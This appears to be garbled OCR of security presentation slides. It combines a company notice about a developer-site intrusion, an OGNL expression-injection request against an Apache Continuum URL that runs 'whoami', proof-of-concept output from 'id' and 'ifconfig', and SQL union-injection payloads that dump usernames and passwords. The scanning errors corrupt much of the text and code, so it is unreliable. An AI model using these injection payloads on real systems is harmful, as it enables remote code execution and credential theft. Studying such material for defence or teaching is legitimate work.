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2013-07-18 4% & , Apache, 3 2 & W 48 4k 4% 2.

& Developer

We'll be back soon.

Last Thursday, an intruder attempted to secure personal information of our
registered developers from our developer website. Sensitive personal
Information was encrypted and cannot be accessed, however, we have not been
able to rule out the possibility that some developers' names, mailing addresses,
and/or email addresses may have been accessed. in the spirit of transparency, we
vant to Inform you of the issue. We took the site down immediately on Thursday
and have been working around the clock since then,

In order to prevent a security threat like this from happening again, we're

completely overhauling our developer systems, updating our server software, and

rebullding our entire database. We apologize for the significant inconvenience
that our downtime has caused you and we expect to have the developer website
up again scon.

If your program membership was set to expire during this period, it has been
extended and your app will remain on the App Store. If you have any other

concerns about your account, p!edsc

Thank you for your patience.

#Details: *
#show the webroot
http://wmbuild, apache. org/contirmmn/groupiunmary. actionfredirect : §{%232%3d (newk 20 java, lang. PraocessBuilder (newk20java. lang, String [1{ whoami™ }))
#home/ cont inuuny apache-cont inuan- 1. 4. 1/apps/ cont inuun
#Proofs of concept: *
#id
uid=1001 {contimmum} gid=1001 (cortimmn} groups=1001{contirwmm}
#/zbin/ifconfig
ethl Link encap:Ethernet HWaddr 00:50:56:ae:00:0b
inet addr:140.211.11.54 Becast:140.211.11.255 Mask:255. 255, 255.0
inetf addr: feB0::250:56ff:feac:b/fd Scope:Link
UP EROADCAST RUMNING MULTICAST MTU:15600 Metric:l
F¥ packets:22081926 errors:0 dropped:0 overrunz:0 frame:0
TE packets:T627912 errors:0 dropped:0 overruns:0 carrier:(
collizions:0 txqueuelen: 1000

RE bytes: 26173286062 (26.1 GE) TX bytes:3491816802 (3.4 GB)

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inetf addr: ::1/128 Scope:Host

UP LOOPEACK RUNNING MTU:16436 Metric:l
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SQL% %)

Select username,password from user where id=s$id
X #+& 4):1and 1=2 union select 1,1 from user

15 1= A FEAT:1&2 UEokn
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Mysql ¢ 45

. A)

username

9223372036854775807 admin

username

admin

A B S ead

TR 5
! )

# FROM ‘gcon test® where id=-1 union select~l,username,password from gcon test;
- I -

password

admin

* FRCM "qcon test’ where

ere i

username

admin

id=-1 union select '_.i';se::arr.e,pass'r;c:d from gcon_test;

password

admin
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